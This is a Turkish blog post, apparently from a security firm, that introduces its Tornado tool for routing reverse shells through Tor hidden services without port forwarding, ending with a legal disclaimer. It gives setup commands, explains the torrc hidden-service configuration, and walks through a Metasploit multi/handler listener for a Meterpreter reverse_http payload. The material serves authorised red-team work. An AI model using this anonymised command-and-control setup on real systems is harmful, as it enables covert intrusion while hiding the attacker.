Siber güvenlik alanında hizmet veren bir firma olarak, sadece sektöre yönelik çözümler geliştirmekle kalmıyor, aynı zamanda kendi iç pentest (sızma testi) ve red team süreçlerimizde de yenilikçi ve etkili araçları aktif olarak kullanıyoruz. Bu kapsamda geliştirdiğimiz ve kurum içi test senaryolarında da sıklıkla faydalandığımız Tornado aracı, sahadaki ihtiyaçlardan yola çıkarak ortaya çıktı. Tornado ofansif güvenlik testlerinde hem de araştırma projelerinde sıklıkla karşılaşılan port yönlendirme zorluklarını ortadan kaldırıyor ve Tor ağı üzerinden reverse shell bağlantıları kurma sürecini büyük ölçüde kolaylaştırıyor.

Reverse Shell Nedir?
Reverse Shell, uzaktan bir bilgisayara sızarak, o bilgisayarın sanki doğrudan önünüzdeymiş gibi komutlar göndermenizi ve almanızı sağlayan bir tekniktir. Geleneksel shell erişimi, sizin bir sunucuya bağlanmanızı ve komutlarınızı orada çalıştırmanızı gerektirirken, reverse shell, hedef makinanın sizin kontrol ettiğiniz bir sunucuya bağlanmasını ve komutlarınızı oradan almasını sağlar. Bu yöntem, özellikle güvenlik duvarları ve NAT (Ağ Adresi Dönüşümü) gibi ağ kısıtlamaları olan ortamlarda etkilidir.
Port Yönlendirme İhtiyacını Ortadan Kaldırma
Tornado'nun en büyük güzelliklerinden biri, reverse shell işlemleri için karmaşık port yönlendirme gereksinimini tamamen ortadan kaldırmasıdır. Geleneksel olarak, uzaktan erişim sağlamak istediğinizde, hedef ağdaki cihazların dış dünyayla iletişim kurabilmesi için port yönlendirme ayarlarını yapılandırmanız gerekir. Bu, hem zaman alıcı bir süreçtir hem de güvenlik riskleri taşır. Tornado, Tor ağının gizli servis özelliklerini kullanarak bu ihtiyacı tamamen ortadan kaldırır ve gizlilik odaklı operasyonlar yapmanızı kolaylaştırır. Bu şekilde, .onion alan adı üzerinden gizli bir servis oluşturarak, herhangi bir port yönlendirme yapmadan doğrudan dış dünyayla güvenli bir şekilde iletişim kurabilirsiniz.
Tornado Kurulum ve İlk Bakış
İlk adım, Tornado’nun kaynak kodunu içeren GitHub deposunu klonlamaktır.
git clone https://github.com/samogod/tornado.git
Bu komut, GitHub deposundan tüm dosyaları ‘tornado’ adındaki klasöre indirecektir.

Depoyu klonladıktan sonra Tornado’nun çalışması için gerekli olan Python paketlerini kurmanız gerekmektedir. Bu paketler setup.py dosyasında belirtilmiştir.

Bu komutta başarıyla çalıştıktan sonra artık Tornado’yu çalıştırabilirsiniz.
Tornado Aracını Çalıştırma ve Süreç
sudo tornado -start
komutu ile Tornado çalıştırıldığında, kullanıcıya ait Linux sistem üzerinde otomatik işlemler başlatılır sizin bu kısımdan sonra hiçbirşey yapmanıza gerek yoktur fakat arkaplanda ise sıradaki hamlesi ControlPort ve HashedControlPassword bilgilerini Tor'un konfigürasyon dosyası olan /etc/torrc
üzerine eklemesidir. Bu adım sudo
yetkili kullanıcı ile beraber çalışır ve bu yetki, Tornado'nun Tor Control Port tarafına güvenli bir şekilde erişebilmesi ve gerekli aşamaları uygulamak içindir.

Arkaplanda, Tornado tarafından otomatik olarak HiddenServiceDir ve HiddenServicePort bilgileri tanımlanarak Tor ağı üzerinde bir gizli servis oluşturulur. Burada bahsedilen HiddenServiceDir satırı, Onion hizmetiniz için gerekli bilgileri ve kriptografik anahtarları içermesi gereken dizini belirtir. HiddenServiceDir satırını, Tor'u çalıştıracak kullanıcı tarafından okunabilir/yazılabilir gerçek bir dizine işaret edecek şekilde değiştirmeniz gerekir.
HiddenServicePort yapılandırması ise, bağlantı noktasındaki gizli servisinize gelen istekleri farklı bir bağlantı noktasında çalışan başka bir hizmete yönlendirmek için kullanılır. En yaygın yapılandırma, 80 numaralı bağlantı noktasına gelen istekleri yine 80 numaralı bağlantı noktasında çalışan yerel bir web sunucusuna yönlendirmektir: fakat bu kısımda Tornado tarafına yönlendirilecek portu belirtiyoruz. (Örn: 1235, 4444). Böylece Tor 80 numaralı portu dinleyecek ve 1235 numaralı porta yönlendirecektir.

Oluşturulan gizli servis, tor2web proxy servisleri aracılığıyla Tor ağı dışından bile erişilebilir hale getirilir. Bu, Tor ağının gizlilik ve anonimliğini koruyarak, servisin geniş bir kullanıcı kitlesi tarafından erişilmesini mümkün kılar.

Artık son aşama olarak, Tor ağının yönlendirdiği 1235 numaralı port üzerinden bir reverse shell bağlantısı başlatılır. Bu işlem içinde Metasploit aracının "Generic Payload Handler" (exploit/multi/handler) modülünü kullanılarak, "windows/x64/meterpreter/reverse_http" payloadı için bir dinleyici ayarlanır. Bu işlemi yaparken, LHOST
değeri olarak kendi IP bilginizi, dinlemek istediğiniz port için ise HiddenServicePort bilgisinde yönlendirilen port bilgisi LPORT
tarafına girilir ve dinlenmeye başlanır. Adım adım kılavuz edilcek olursa;
1 - Terminalize msfconsole yazarak Metasploit’i başlatın.

2 - Aşağıdaki komutları kullanarak Generic Payload Handler modülünü ayarlayın.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
3 - LHOST ve LPORT bilgisini aşağıdaki şekilde ayarlayın.
set LHOST eth0
set LPORT 1235

4- Aşağıdaki komutu girerek dinlemeye başlayın.
exploit

Tor ağı, harika bir projedir ancak her güçlü aracın kendine özgü zayıflıkları ve suistimal edilme potansiyelleri vardır. Tor ve Tornado gibi araçlar, kullanıcılarına önemli ölçüde anonimlik sağlasa da, bu teknolojilerin sağladığı anonimlik mükemmel değildir ve bazı durumlarda dezenformasyona açık olabilir. Özellikle, Tor'un çıkış düğümleri (exit node) üzerinden geçen şifrelenmemiş veriler, bu düğümleri kontrol eden kişiler, kuruluşlar ve hükümetler tarafından görüntülenebilir. Tor ağına körü körüne güvenmemeniz gerektiğini unutmayın.
Son olarak, Tor ve Tornado gibi araçların kullanımı, yüksek bir opsec (operasyonel güvenlik) farkındalığı gerektirir. Kullanıcıların, anonim kalmaya çalışırken karşılaşabilecekleri riskler konusunda bilinçli olmaları ve gerekli önlemleri almaları büyük önem taşır. Tornado aracını kullanırken, yasal olmayan aktivitelerden kaçınız, yasal olmayan faaliyetlerde kullanmanız sadece sizin sorumluluğunuzdadır.